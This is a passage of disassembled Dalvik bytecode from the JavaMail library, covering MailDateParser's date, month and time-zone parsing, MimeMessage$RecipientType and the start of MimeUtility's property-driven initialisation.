000000AE  add-int/lit8            v2, v1, 0x1
000000B2  div-int/lit8            v3, v0, 0xA
000000B6  invoke-static           Character->forDigit(I, I)C, v3, v5
000000BC  move-result             v3
000000BE  invoke-virtual          StringBuffer->setCharAt(I, C)V, p2, v1, v3
000000C4  add-int/lit8            v1, v2, 0x1
000000C8  rem-int/lit8            v0, v0, 0xA
000000CC  invoke-static           Character->forDigit(I, I)C, v0, v5
000000D2  move-result             v0
000000D4  invoke-virtual          StringBuffer->setCharAt(I, C)V, p2, v2, v0
000000DA  return-object           p2
:DC
000000DC  add-int/lit8            v0, v0, 0x1
000000E0  goto                    :16
:E2
000000E2  add-int/lit8            v2, v0, 0x1
000000E6  const/16                v3, 0x2B
000000EA  invoke-virtual          StringBuffer->setCharAt(I, C)V, p2, v0, v3
000000F0  move                    v0, v1
000000F2  move                    v1, v2
000000F4  goto                    :72
.end method

.method public parse(String, ParsePosition)Date
          .registers 5
00000000  invoke-virtual          String->toCharArray()[C, p1
00000006  move-result-object      v0
00000008  invoke-virtual          MailDateFormat->isLenient()Z, p0
0000000E  move-result             v1
00000010  invoke-static           MailDateFormat->parseDate([C, ParsePosition, Z)Date, v0, p2, v1
00000016  move-result-object      v0
00000018  return-object           v0
.end method

.method public setCalendar(Calendar)V
          .registers 4
00000000  new-instance            v0, RuntimeException
00000004  const-string            v1, "Method setCalendar() shouldn\'t be called"
00000008  invoke-direct           RuntimeException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setNumberFormat(NumberFormat)V
          .registers 4
00000000  new-instance            v0, RuntimeException
00000004  const-string            v1, "Method setNumberFormat() shouldn\'t be called"
00000008  invoke-direct           RuntimeException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

#--------------------------------------------------------------------------------
.class MailDateParser
.super Object
.source ""

.field index:I
.field orig:[C

.method public constructor <init>([C)V
          .registers 3
00000000  invoke-direct           Object-><init>()V, p0
00000006  const/4                 v0, 0x0
00000008  iput                    v0, p0, MailDateParser->index:I
0000000C  const/4                 v0, 0x0
0000000E  iput-object             v0, p0, MailDateParser->orig:[C
00000012  iput-object             p1, p0, MailDateParser->orig:[C
00000016  return-void
.end method

.method getIndex()I
          .registers 2
00000000  iget                    v0, p0, MailDateParser->index:I
00000004  return                  v0
.end method

.method public parseAlphaTimeZone()I
          .registers 8
00000000  const/4                 v0, 0x0
00000002  const/16                v6, 0x74
00000006  const/16                v5, 0x54
0000000A  const/4                 v1, 0x1
:C
0000000C  iget-object             v2, p0, MailDateParser->orig:[C
00000010  iget                    v3, p0, MailDateParser->index:I
00000014  add-int/lit8            v4, v3, 0x1
00000018  iput                    v4, p0, MailDateParser->index:I
0000001C  aget-char               v2, v2, v3
00000020  sparse-switch           v2, :190
:26
00000026  new-instance            v0, ParseException
0000002A  const-string            v1, "Bad Alpha TimeZone"
0000002E  iget                    v2, p0, MailDateParser->index:I
00000032  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
00000038  throw                   v0
:3A
0000003A  move-exception          v0
0000003C  new-instance            v0, ParseException
00000040  const-string            v1, "Bad Alpha TimeZone"
00000044  iget                    v2, p0, MailDateParser->index:I
00000048  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
0000004E  throw                   v0
:50
00000050  iget-object             v1, p0, MailDateParser->orig:[C
00000054  iget                    v2, p0, MailDateParser->index:I
00000058  add-int/lit8            v3, v2, 0x1
0000005C  iput                    v3, p0, MailDateParser->index:I
00000060  aget-char               v1, v1, v2
:64
00000064  if-eq                   v1, v5, :6C
:68
00000068  if-ne                   v1, v6, :C6
:6C
0000006C  move                    v1, v0
:6E
0000006E  if-eqz                  v1, :17A
:72
00000072  iget-object             v1, p0, MailDateParser->orig:[C
00000076  iget                    v2, p0, MailDateParser->index:I
0000007A  add-int/lit8            v3, v2, 0x1
0000007E  iput                    v3, p0, MailDateParser->index:I
00000082  aget-char               v1, v1, v2
00000086  const/16                v2, 0x53
0000008A  if-eq                   v1, v2, :96
:8E
0000008E  const/16                v2, 0x73
00000092  if-ne                   v1, v2, :14A
:96
00000096  iget-object             v1, p0, MailDateParser->orig:[C
0000009A  iget                    v2, p0, MailDateParser->index:I
0000009E  add-int/lit8            v3, v2, 0x1
000000A2  iput                    v3, p0, MailDateParser->index:I
000000A6  aget-char               v1, v1, v2
000000AA  if-eq                   v1, v5, :17A
:AE
000000AE  if-eq                   v1, v6, :17A
:B2
000000B2  new-instance            v0, ParseException
000000B6  const-string            v1, "Bad Alpha TimeZone"
000000BA  iget                    v2, p0, MailDateParser->index:I
000000BE  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
000000C4  throw                   v0
:C6
000000C6  new-instance            v0, ParseException
000000CA  const-string            v1, "Bad Alpha TimeZone"
000000CE  iget                    v2, p0, MailDateParser->index:I
000000D2  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
000000D8  throw                   v0
:DA
000000DA  iget-object             v1, p0, MailDateParser->orig:[C
000000DE  iget                    v2, p0, MailDateParser->index:I
000000E2  add-int/lit8            v3, v2, 0x1
000000E6  iput                    v3, p0, MailDateParser->index:I
000000EA  aget-char               v1, v1, v2
000000EE  const/16                v2, 0x4D
000000F2  if-eq                   v1, v2, :FE
:F6
000000F6  const/16                v2, 0x6D
000000FA  if-ne                   v1, v2, :11E
:FE
000000FE  iget-object             v1, p0, MailDateParser->orig:[C
00000102  iget                    v2, p0, MailDateParser->index:I
00000106  add-int/lit8            v3, v2, 0x1
0000010A  iput                    v3, p0, MailDateParser->index:I
0000010E  aget-char               v1, v1, v2
00000112  if-eq                   v1, v5, :11A
:116
00000116  if-ne                   v1, v6, :11E
:11A
0000011A  move                    v1, v0
0000011C  goto                    :6E
:11E
0000011E  new-instance            v0, ParseException
00000122  const-string            v1, "Bad Alpha TimeZone"
00000126  iget                    v2, p0, MailDateParser->index:I
0000012A  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
00000130  throw                   v0
:132
00000132  const/16                v0, 0x12C
00000136  goto                    :6E
:138
00000138  const/16                v0, 0x168
0000013C  goto                    :6E
:13E
0000013E  const/16                v0, 0x1A4
00000142  goto                    :6E
:144
00000144  const/16                v0, 0x1E0
00000148  goto                    :6E
:14A
0000014A  const/16                v2, 0x44
0000014E  if-eq                   v1, v2, :15A
:152
00000152  const/16                v2, 0x64
00000156  if-ne                   v1, v2, :17A
:15A
0000015A  iget-object             v1, p0, MailDateParser->orig:[C
0000015E  iget                    v2, p0, MailDateParser->index:I
00000162  add-int/lit8            v3, v2, 0x1
00000166  iput                    v3, p0, MailDateParser->index:I
0000016A  aget-char               v1, v1, v2
0000016E  if-eq                   v1, v5, :176
:172
00000172  if-eq                   v1, v6, :17C
:176
00000176  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFC4
:17A
0000017A  return                  v0
:17C
0000017C  new-instance            v0, ParseException
00000180  const-string            v1, "Bad Alpha TimeZone"
00000184  iget                    v2, p0, MailDateParser->index:I
00000188  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
0000018E  throw                   v0
          .catch ArrayIndexOutOfBoundsException {:C .. :3A} :3A
          .catch ArrayIndexOutOfBoundsException {:50 .. :64} :3A
          .catch ArrayIndexOutOfBoundsException {:C6 .. :132} :3A
00000190  .sparse-switch
              0x43 -> :138
              0x45 -> :132
              0x47 -> :DA
              0x4D -> :13E
              0x50 -> :144
              0x55 -> :50
              0x63 -> :138
              0x65 -> :132
              0x67 -> :DA
              0x6D -> :13E
              0x70 -> :144
              0x75 -> :50
          .end sparse-switch
.end method

.method public parseMonth()I
          .registers 9
00000000  const/16                v7, 0x50
00000004  const/16                v6, 0x4E
00000008  const/16                v5, 0x43
0000000C  const/16                v4, 0x65
00000010  const/16                v3, 0x45
:14
00000014  iget-object             v0, p0, MailDateParser->orig:[C
00000018  iget                    v1, p0, MailDateParser->index:I
0000001C  add-int/lit8            v2, v1, 0x1
00000020  iput                    v2, p0, MailDateParser->index:I
00000024  aget-char               v0, v0, v1
:28
00000028  sparse-switch           v0, :30C
:2E
0000002E  new-instance            v0, ParseException
00000032  const-string            v1, "Bad Month"
00000036  iget                    v2, p0, MailDateParser->index:I
0000003A  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
00000040  throw                   v0
:42
00000042  iget-object             v0, p0, MailDateParser->orig:[C
00000046  iget                    v1, p0, MailDateParser->index:I
0000004A  add-int/lit8            v2, v1, 0x1
0000004E  iput                    v2, p0, MailDateParser->index:I
00000052  aget-char               v0, v0, v1
00000056  sparse-switch           v0, :390
:5C
0000005C  goto                    :2E
:5E
0000005E  iget-object             v0, p0, MailDateParser->orig:[C
00000062  iget                    v1, p0, MailDateParser->index:I
00000066  add-int/lit8            v2, v1, 0x1
0000006A  iput                    v2, p0, MailDateParser->index:I
0000006E  aget-char               v0, v0, v1
00000072  if-eq                   v0, v6, :7E
:76
00000076  const/16                v1, 0x6E
0000007A  if-ne                   v0, v1, :2E
:7E
0000007E  const/4                 v0, 0x0
:80
00000080  return                  v0
:82
00000082  iget-object             v0, p0, MailDateParser->orig:[C
00000086  iget                    v1, p0, MailDateParser->index:I
0000008A  add-int/lit8            v2, v1, 0x1
0000008E  iput                    v2, p0, MailDateParser->index:I
00000092  aget-char               v0, v0, v1
00000096  if-eq                   v0, v6, :A2
:9A
0000009A  const/16                v1, 0x6E
0000009E  if-ne                   v0, v1, :A6
:A2
000000A2  const/4                 v0, 0x5
000000A4  goto                    :80
:A6
000000A6  const/16                v1, 0x4C
000000AA  if-eq                   v0, v1, :B6
:AE
000000AE  const/16                v1, 0x6C
000000B2  if-ne                   v0, v1, :2E
:B6
000000B6  const/4                 v0, 0x6
000000B8  goto                    :80
:BA
000000BA  iget-object             v0, p0, MailDateParser->orig:[C
000000BE  iget                    v1, p0, MailDateParser->index:I
000000C2  add-int/lit8            v2, v1, 0x1
000000C6  iput                    v2, p0, MailDateParser->index:I
000000CA  aget-char               v0, v0, v1
000000CE  if-eq                   v0, v3, :D6
:D2
000000D2  if-ne                   v0, v4, :2E
:D6
000000D6  iget-object             v0, p0, MailDateParser->orig:[C
000000DA  iget                    v1, p0, MailDateParser->index:I
000000DE  add-int/lit8            v2, v1, 0x1
000000E2  iput                    v2, p0, MailDateParser->index:I
000000E6  aget-char               v0, v0, v1
000000EA  const/16                v1, 0x42
000000EE  if-eq                   v0, v1, :FA
:F2
000000F2  const/16                v1, 0x62
000000F6  if-ne                   v0, v1, :2E
:FA
000000FA  const/4                 v0, 0x1
000000FC  goto                    :80
:FE
000000FE  iget-object             v0, p0, MailDateParser->orig:[C
00000102  iget                    v1, p0, MailDateParser->index:I
00000106  add-int/lit8            v2, v1, 0x1
0000010A  iput                    v2, p0, MailDateParser->index:I
0000010E  aget-char               v0, v0, v1
00000112  const/16                v1, 0x41
00000116  if-eq                   v0, v1, :122
:11A
0000011A  const/16                v1, 0x61
0000011E  if-ne                   v0, v1, :2E
:122
00000122  iget-object             v0, p0, MailDateParser->orig:[C
00000126  iget                    v1, p0, MailDateParser->index:I
0000012A  add-int/lit8            v2, v1, 0x1
0000012E  iput                    v2, p0, MailDateParser->index:I
00000132  aget-char               v0, v0, v1
00000136  const/16                v1, 0x52
0000013A  if-eq                   v0, v1, :146
:13E
0000013E  const/16                v1, 0x72
00000142  if-ne                   v0, v1, :14A
:146
00000146  const/4                 v0, 0x2
00000148  goto                    :80
:14A
0000014A  const/16                v1, 0x59
0000014E  if-eq                   v0, v1, :15A
:152
00000152  const/16                v1, 0x79
00000156  if-ne                   v0, v1, :2E
:15A
0000015A  const/4                 v0, 0x4
0000015C  goto                    :80
:15E
0000015E  iget-object             v0, p0, MailDateParser->orig:[C
00000162  iget                    v1, p0, MailDateParser->index:I
00000166  add-int/lit8            v2, v1, 0x1
0000016A  iput                    v2, p0, MailDateParser->index:I
0000016E  aget-char               v0, v0, v1
00000172  if-eq                   v0, v7, :17E
:176
00000176  const/16                v1, 0x70
0000017A  if-ne                   v0, v1, :1A8
:17E
0000017E  iget-object             v0, p0, MailDateParser->orig:[C
00000182  iget                    v1, p0, MailDateParser->index:I
00000186  add-int/lit8            v2, v1, 0x1
0000018A  iput                    v2, p0, MailDateParser->index:I
0000018E  aget-char               v0, v0, v1
00000192  const/16                v1, 0x52
00000196  if-eq                   v0, v1, :1A2
:19A
0000019A  const/16                v1, 0x72
0000019E  if-ne                   v0, v1, :2E
:1A2
000001A2  const/4                 v0, 0x3
000001A4  goto/16                 :80
:1A8
000001A8  const/16                v1, 0x55
000001AC  if-eq                   v0, v1, :1B8
:1B0
000001B0  const/16                v1, 0x75
000001B4  if-ne                   v0, v1, :2E
:1B8
000001B8  iget-object             v0, p0, MailDateParser->orig:[C
000001BC  iget                    v1, p0, MailDateParser->index:I
000001C0  add-int/lit8            v2, v1, 0x1
000001C4  iput                    v2, p0, MailDateParser->index:I
000001C8  aget-char               v0, v0, v1
000001CC  const/16                v1, 0x47
000001D0  if-eq                   v0, v1, :1DC
:1D4
000001D4  const/16                v1, 0x67
000001D8  if-ne                   v0, v1, :2E
:1DC
000001DC  const/4                 v0, 0x7
000001DE  goto/16                 :80
:1E2
000001E2  iget-object             v0, p0, MailDateParser->orig:[C
000001E6  iget                    v1, p0, MailDateParser->index:I
000001EA  add-int/lit8            v2, v1, 0x1
000001EE  iput                    v2, p0, MailDateParser->index:I
000001F2  aget-char               v0, v0, v1
000001F6  if-eq                   v0, v3, :1FE
:1FA
000001FA  if-ne                   v0, v4, :2E
:1FE
000001FE  iget-object             v0, p0, MailDateParser->orig:[C
00000202  iget                    v1, p0, MailDateParser->index:I
00000206  add-int/lit8            v2, v1, 0x1
0000020A  iput                    v2, p0, MailDateParser->index:I
0000020E  aget-char               v0, v0, v1
00000212  if-eq                   v0, v7, :21E
:216
00000216  const/16                v1, 0x70
0000021A  if-ne                   v0, v1, :2E
:21E
0000021E  const/16                v0, 0x8
00000222  goto/16                 :80
:226
00000226  iget-object             v0, p0, MailDateParser->orig:[C
0000022A  iget                    v1, p0, MailDateParser->index:I
0000022E  add-int/lit8            v2, v1, 0x1
00000232  iput                    v2, p0, MailDateParser->index:I
00000236  aget-char               v0, v0, v1
0000023A  if-eq                   v0, v5, :246
:23E
0000023E  const/16                v1, 0x63
00000242  if-ne                   v0, v1, :2E
:246
00000246  iget-object             v0, p0, MailDateParser->orig:[C
0000024A  iget                    v1, p0, MailDateParser->index:I
0000024E  add-int/lit8            v2, v1, 0x1
00000252  iput                    v2, p0, MailDateParser->index:I
00000256  aget-char               v0, v0, v1
0000025A  const/16                v1, 0x54
0000025E  if-eq                   v0, v1, :26A
:262
00000262  const/16                v1, 0x74
00000266  if-ne                   v0, v1, :2E
:26A
0000026A  const/16                v0, 0x9
0000026E  goto/16                 :80
:272
00000272  iget-object             v0, p0, MailDateParser->orig:[C
00000276  iget                    v1, p0, MailDateParser->index:I
0000027A  add-int/lit8            v2, v1, 0x1
0000027E  iput                    v2, p0, MailDateParser->index:I
00000282  aget-char               v0, v0, v1
00000286  const/16                v1, 0x4F
0000028A  if-eq                   v0, v1, :296
:28E
0000028E  const/16                v1, 0x6F
00000292  if-ne                   v0, v1, :2E
:296
00000296  iget-object             v0, p0, MailDateParser->orig:[C
0000029A  iget                    v1, p0, MailDateParser->index:I
0000029E  add-int/lit8            v2, v1, 0x1
000002A2  iput                    v2, p0, MailDateParser->index:I
000002A6  aget-char               v0, v0, v1
000002AA  const/16                v1, 0x56
000002AE  if-eq                   v0, v1, :2BA
:2B2
000002B2  const/16                v1, 0x76
000002B6  if-ne                   v0, v1, :2E
:2BA
000002BA  const/16                v0, 0xA
000002BE  goto/16                 :80
:2C2
000002C2  iget-object             v0, p0, MailDateParser->orig:[C
000002C6  iget                    v1, p0, MailDateParser->index:I
000002CA  add-int/lit8            v2, v1, 0x1
000002CE  iput                    v2, p0, MailDateParser->index:I
000002D2  aget-char               v0, v0, v1
000002D6  if-eq                   v0, v3, :2DE
:2DA
000002DA  if-ne                   v0, v4, :2E
:2DE
000002DE  iget-object             v0, p0, MailDateParser->orig:[C
000002E2  iget                    v1, p0, MailDateParser->index:I
000002E6  add-int/lit8            v2, v1, 0x1
000002EA  iput                    v2, p0, MailDateParser->index:I
000002EE  aget-char               v0, v0, v1
:2F2
000002F2  if-eq                   v0, v5, :2FE
:2F6
000002F6  const/16                v1, 0x63
000002FA  if-ne                   v0, v1, :2E
:2FE
000002FE  const/16                v0, 0xB
00000302  goto/16                 :80
:306
00000306  move-exception          v0
00000308  goto/16                 :2E
          .catch ArrayIndexOutOfBoundsException {:14 .. :28} :306
          .catch ArrayIndexOutOfBoundsException {:42 .. :2F2} :306
0000030C  .sparse-switch
              0x41 -> :15E
              0x44 -> :2C2
              0x46 -> :BA
              0x4A -> :42
              0x4D -> :FE
              0x4E -> :272
              0x4F -> :226
              0x53 -> :1E2
              0x61 -> :15E
              0x64 -> :2C2
              0x66 -> :BA
              0x6A -> :42
              0x6D -> :FE
              0x6E -> :272
              0x6F -> :226
              0x73 -> :1E2
          .end sparse-switch
00000390  .sparse-switch
              0x41 -> :5E
              0x55 -> :82
              0x61 -> :5E
              0x75 -> :82
          .end sparse-switch
.end method

.method public parseNumber()I
          .registers 7
00000000  const/4                 v0, 0x0
00000002  const/4                 v2, 0x1
00000004  iget-object             v1, p0, MailDateParser->orig:[C
00000008  array-length            v3, v1
0000000A  move                    v1, v0
:C
0000000C  iget                    v4, p0, MailDateParser->index:I
00000010  if-lt                   v4, v3, :1A
:14
00000014  if-eqz                  v1, :B2
:18
00000018  return                  v0
:1A
0000001A  iget-object             v4, p0, MailDateParser->orig:[C
0000001E  iget                    v5, p0, MailDateParser->index:I
00000022  aget-char               v4, v4, v5
00000026  packed-switch           v4, :C8
:2C
0000002C  if-nez                  v1, :18
:30
00000030  new-instance            v0, ParseException
00000034  const-string            v1, "No Number found"
00000038  iget                    v2, p0, MailDateParser->index:I
0000003C  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
00000042  throw                   v0
:44
00000044  mul-int/lit8            v0, v0, 0xA
:48
00000048  iget                    v1, p0, MailDateParser->index:I
0000004C  add-int/lit8            v1, v1, 0x1
00000050  iput                    v1, p0, MailDateParser->index:I
00000054  move                    v1, v2
00000056  goto                    :C
:58
00000058  mul-int/lit8            v0, v0, 0xA
0000005C  add-int/lit8            v0, v0, 0x1
00000060  goto                    :48
:62
00000062  mul-int/lit8            v0, v0, 0xA
00000066  add-int/lit8            v0, v0, 0x2
0000006A  goto                    :48
:6C
0000006C  mul-int/lit8            v0, v0, 0xA
00000070  add-int/lit8            v0, v0, 0x3
00000074  goto                    :48
:76
00000076  mul-int/lit8            v0, v0, 0xA
0000007A  add-int/lit8            v0, v0, 0x4
0000007E  goto                    :48
:80
00000080  mul-int/lit8            v0, v0, 0xA
00000084  add-int/lit8            v0, v0, 0x5
00000088  goto                    :48
:8A
0000008A  mul-int/lit8            v0, v0, 0xA
0000008E  add-int/lit8            v0, v0, 0x6
00000092  goto                    :48
:94
00000094  mul-int/lit8            v0, v0, 0xA
00000098  add-int/lit8            v0, v0, 0x7
0000009C  goto                    :48
:9E
0000009E  mul-int/lit8            v0, v0, 0xA
000000A2  add-int/lit8            v0, v0, 0x8
000000A6  goto                    :48
:A8
000000A8  mul-int/lit8            v0, v0, 0xA
000000AC  add-int/lit8            v0, v0, 0x9
000000B0  goto                    :48
:B2
000000B2  new-instance            v0, ParseException
000000B6  const-string            v1, "No Number found"
000000BA  iget                    v2, p0, MailDateParser->index:I
000000BE  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
000000C4  throw                   v0
000000C8  .packed-switch 0x30
              :44
              :58
              :62
              :6C
              :76
              :80
              :8A
              :94
              :9E
              :A8
          .end packed-switch
.end method

.method public parseNumericTimeZone()I
          .registers 5
00000000  const/4                 v0, 0x0
00000002  iget-object             v1, p0, MailDateParser->orig:[C
00000006  iget                    v2, p0, MailDateParser->index:I
0000000A  add-int/lit8            v3, v2, 0x1
0000000E  iput                    v3, p0, MailDateParser->index:I
00000012  aget-char               v1, v1, v2
00000016  const/16                v2, 0x2B
0000001A  if-ne                   v1, v2, :3E
:1E
0000001E  const/4                 v0, 0x1
:20
00000020  invoke-virtual          MailDateParser->parseNumber()I, p0
00000026  move-result             v1
00000028  div-int/lit8            v2, v1, 0x64
0000002C  mul-int/lit8            v2, v2, 0x3C
00000030  rem-int/lit8            v1, v1, 0x64
00000034  add-int/2addr           v1, v2
00000036  if-eqz                  v0, :5A
:3A
0000003A  neg-int                 v0, v1
:3C
0000003C  return                  v0
:3E
0000003E  const/16                v2, 0x2D
00000042  if-eq                   v1, v2, :20
:46
00000046  new-instance            v0, ParseException
0000004A  const-string            v1, "Bad Numeric TimeZone"
0000004E  iget                    v2, p0, MailDateParser->index:I
00000052  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
00000058  throw                   v0
:5A
0000005A  move                    v0, v1
0000005C  goto                    :3C
.end method

.method public parseTimeZone()I
          .registers 4
00000000  iget                    v0, p0, MailDateParser->index:I
00000004  iget-object             v1, p0, MailDateParser->orig:[C
00000008  array-length            v1, v1
0000000A  if-lt                   v0, v1, :22
:E
0000000E  new-instance            v0, ParseException
00000012  const-string            v1, "No more characters"
00000016  iget                    v2, p0, MailDateParser->index:I
0000001A  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
00000020  throw                   v0
:22
00000022  iget-object             v0, p0, MailDateParser->orig:[C
00000026  iget                    v1, p0, MailDateParser->index:I
0000002A  aget-char               v0, v0, v1
0000002E  const/16                v1, 0x2B
00000032  if-eq                   v0, v1, :3E
:36
00000036  const/16                v1, 0x2D
0000003A  if-ne                   v0, v1, :48
:3E
0000003E  invoke-virtual          MailDateParser->parseNumericTimeZone()I, p0
00000044  move-result             v0
:46
00000046  return                  v0
:48
00000048  invoke-virtual          MailDateParser->parseAlphaTimeZone()I, p0
0000004E  move-result             v0
00000050  goto                    :46
.end method

.method public peekChar()I
          .registers 4
00000000  iget                    v0, p0, MailDateParser->index:I
00000004  iget-object             v1, p0, MailDateParser->orig:[C
00000008  array-length            v1, v1
0000000A  if-ge                   v0, v1, :1C
:E
0000000E  iget-object             v0, p0, MailDateParser->orig:[C
00000012  iget                    v1, p0, MailDateParser->index:I
00000016  aget-char               v0, v0, v1
0000001A  return                  v0
:1C
0000001C  new-instance            v0, ParseException
00000020  const-string            v1, "No more characters"
00000024  iget                    v2, p0, MailDateParser->index:I
00000028  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
0000002E  throw                   v0
.end method

.method public skipChar(C)V
          .registers 5
00000000  iget                    v0, p0, MailDateParser->index:I
00000004  iget-object             v1, p0, MailDateParser->orig:[C
00000008  array-length            v1, v1
0000000A  if-ge                   v0, v1, :40
:E
0000000E  iget-object             v0, p0, MailDateParser->orig:[C
00000012  iget                    v1, p0, MailDateParser->index:I
00000016  aget-char               v0, v0, v1
0000001A  if-ne                   v0, p1, :2C
:1E
0000001E  iget                    v0, p0, MailDateParser->index:I
00000022  add-int/lit8            v0, v0, 0x1
00000026  iput                    v0, p0, MailDateParser->index:I
0000002A  return-void
:2C
0000002C  new-instance            v0, ParseException
00000030  const-string            v1, "Wrong char"
00000034  iget                    v2, p0, MailDateParser->index:I
00000038  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
0000003E  throw                   v0
:40
00000040  new-instance            v0, ParseException
00000044  const-string            v1, "No more characters"
00000048  iget                    v2, p0, MailDateParser->index:I
0000004C  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
00000052  throw                   v0
.end method

.method public skipIfChar(C)Z
          .registers 5
00000000  iget                    v0, p0, MailDateParser->index:I
00000004  iget-object             v1, p0, MailDateParser->orig:[C
00000008  array-length            v1, v1
0000000A  if-ge                   v0, v1, :32
:E
0000000E  iget-object             v0, p0, MailDateParser->orig:[C
00000012  iget                    v1, p0, MailDateParser->index:I
00000016  aget-char               v0, v0, v1
0000001A  if-ne                   v0, p1, :2E
:1E
0000001E  iget                    v0, p0, MailDateParser->index:I
00000022  add-int/lit8            v0, v0, 0x1
00000026  iput                    v0, p0, MailDateParser->index:I
0000002A  const/4                 v0, 0x1
:2C
0000002C  return                  v0
:2E
0000002E  const/4                 v0, 0x0
00000030  goto                    :2C
:32
00000032  new-instance            v0, ParseException
00000036  const-string            v1, "No more characters"
0000003A  iget                    v2, p0, MailDateParser->index:I
0000003E  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
00000044  throw                   v0
.end method

.method public skipUntilNumber()V
          .registers 4
00000000  iget-object             v0, p0, MailDateParser->orig:[C
00000004  iget                    v1, p0, MailDateParser->index:I
00000008  aget-char               v0, v0, v1
0000000C  packed-switch           v0, :38
:12
00000012  iget                    v0, p0, MailDateParser->index:I
00000016  add-int/lit8            v0, v0, 0x1
0000001A  iput                    v0, p0, MailDateParser->index:I
:1E
0000001E  goto                    :0
:20
00000020  move-exception          v0
00000022  new-instance            v0, ParseException
00000026  const-string            v1, "No Number Found"
0000002A  iget                    v2, p0, MailDateParser->index:I
0000002E  invoke-direct           ParseException-><init>(String, I)V, v0, v1, v2
00000034  throw                   v0
:36
00000036  return-void
          .catch ArrayIndexOutOfBoundsException {:0 .. :1E} :20
00000038  .packed-switch 0x30
              :36
              :36
              :36
              :36
              :36
              :36
              :36
              :36
              :36
              :36
          .end packed-switch
.end method

.method public skipWhiteSpace()V
          .registers 4
00000000  iget-object             v0, p0, MailDateParser->orig:[C
00000004  array-length            v0, v0
:6
00000006  iget                    v1, p0, MailDateParser->index:I
0000000A  if-lt                   v1, v0, :10
:E
0000000E  return-void
:10
00000010  iget-object             v1, p0, MailDateParser->orig:[C
00000014  iget                    v2, p0, MailDateParser->index:I
00000018  aget-char               v1, v1, v2
0000001C  sparse-switch           v1, :34
:22
00000022  goto                    :E
:24
00000024  iget                    v1, p0, MailDateParser->index:I
00000028  add-int/lit8            v1, v1, 0x1
0000002C  iput                    v1, p0, MailDateParser->index:I
00000030  goto                    :6
00000034  .sparse-switch
              0x9 -> :24
              0xA -> :24
              0xD -> :24
              0x20 -> :24
          .end sparse-switch
.end method

#--------------------------------------------------------------------------------
.class public MimeMessage$RecipientType
.super Message$RecipientType
.source ""

.field public static final NEWSGROUPS:MimeMessage$RecipientType = null
.field private static final serialVersionUID:J = 0xB41CBA943BBDEE69L

.method static constructor <clinit>()V
          .registers 2
00000000  new-instance            v0, MimeMessage$RecipientType
00000004  const-string            v1, "Newsgroups"
00000008  invoke-direct           MimeMessage$RecipientType-><init>(String)V, v0, v1
0000000E  sput-object             v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000012  return-void
.end method

.method protected constructor <init>(String)V
          .registers 2
00000000  invoke-direct           Message$RecipientType-><init>(String)V, p0, p1
00000006  return-void
.end method

.method protected readResolve()Object
          .registers 3
00000000  iget-object             v0, p0, MimeMessage$RecipientType->type:String
00000004  const-string            v1, "Newsgroups"
00000008  invoke-virtual          String->equals(Object)Z, v0, v1
0000000E  move-result             v0
00000010  if-eqz                  v0, :1A
:14
00000014  sget-object             v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
:18
00000018  return-object           v0
:1A
0000001A  invoke-super            Message$RecipientType->readResolve()Object, p0
00000020  move-result-object      v0
00000022  goto                    :18
.end method

#--------------------------------------------------------------------------------
.class MimeUtility$1NullInputStream
.super InputStream
.source ""

.method constructor <init>()V
          .registers 1
00000000  invoke-direct           InputStream-><init>()V, p0
00000006  return-void
.end method

.method public read()I
          .registers 2
00000000  const/4                 v0, 0x0
00000002  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public MimeUtility
.super Object
.source ""

.field public static final ALL:I = 0xFFFFFFFF
.field static final ALL_ASCII:I = 0x1
.field static final MOSTLY_ASCII:I = 0x2
.field static final MOSTLY_NONASCII:I = 0x3
.field private static decodeStrict:Z
.field private static defaultJavaCharset:String
.field private static defaultMIMECharset:String
.field private static encodeEolStrict:Z
.field private static foldEncodedWords:Z
.field private static foldText:Z
.field private static java2mime:Hashtable
.field private static mime2java:Hashtable

.method static constructor <clinit>()V
          .registers 5
00000000  const/4                 v2, 0x1
00000002  const/4                 v1, 0x0
00000004  sput-boolean            v2, MimeUtility->decodeStrict:Z
00000008  sput-boolean            v1, MimeUtility->encodeEolStrict:Z
0000000C  sput-boolean            v1, MimeUtility->foldEncodedWords:Z
00000010  sput-boolean            v2, MimeUtility->foldText:Z
:14
00000014  const-string            v3, "mail.mime.decodetext.strict"
00000018  invoke-static           System->getProperty(String)String, v3
0000001E  move-result-object      v3
00000020  if-eqz                  v3, :462
:24
00000024  const-string            v4, "false"
00000028  invoke-virtual          String->equalsIgnoreCase(String)Z, v3, v4
0000002E  move-result             v3
00000030  if-eqz                  v3, :462
:34
00000034  move                    v3, v1
:36
00000036  sput-boolean            v3, MimeUtility->decodeStrict:Z
0000003A  const-string            v3, "mail.mime.encodeeol.strict"
0000003E  invoke-static           System->getProperty(String)String, v3
00000044  move-result-object      v3
00000046  if-eqz                  v3, :468
:4A
0000004A  const-string            v4, "true"
0000004E  invoke-virtual          String->equalsIgnoreCase(String)Z, v3, v4
00000054  move-result             v3
00000056  if-eqz                  v3, :468
:5A
0000005A  move                    v3, v2
:5C
0000005C  sput-boolean            v3, MimeUtility->encodeEolStrict:Z
00000060  const-string            v3, "mail.mime.foldencodedwords"
00000064  invoke-static           System->getProperty(String)String, v3
0000006A  move-result-object      v3
0000006C  if-eqz                  v3, :46E
:70
00000070  const-string            v4, "true"
00000074  invoke-virtual          String->equalsIgnoreCase(String)Z, v3, v4
0000007A  move-result             v3
0000007C  if-eqz                  v3, :46E
:80
00000080  move                    v3, v2
:82
00000082  sput-boolean            v3, MimeUtility->foldEncodedWords:Z
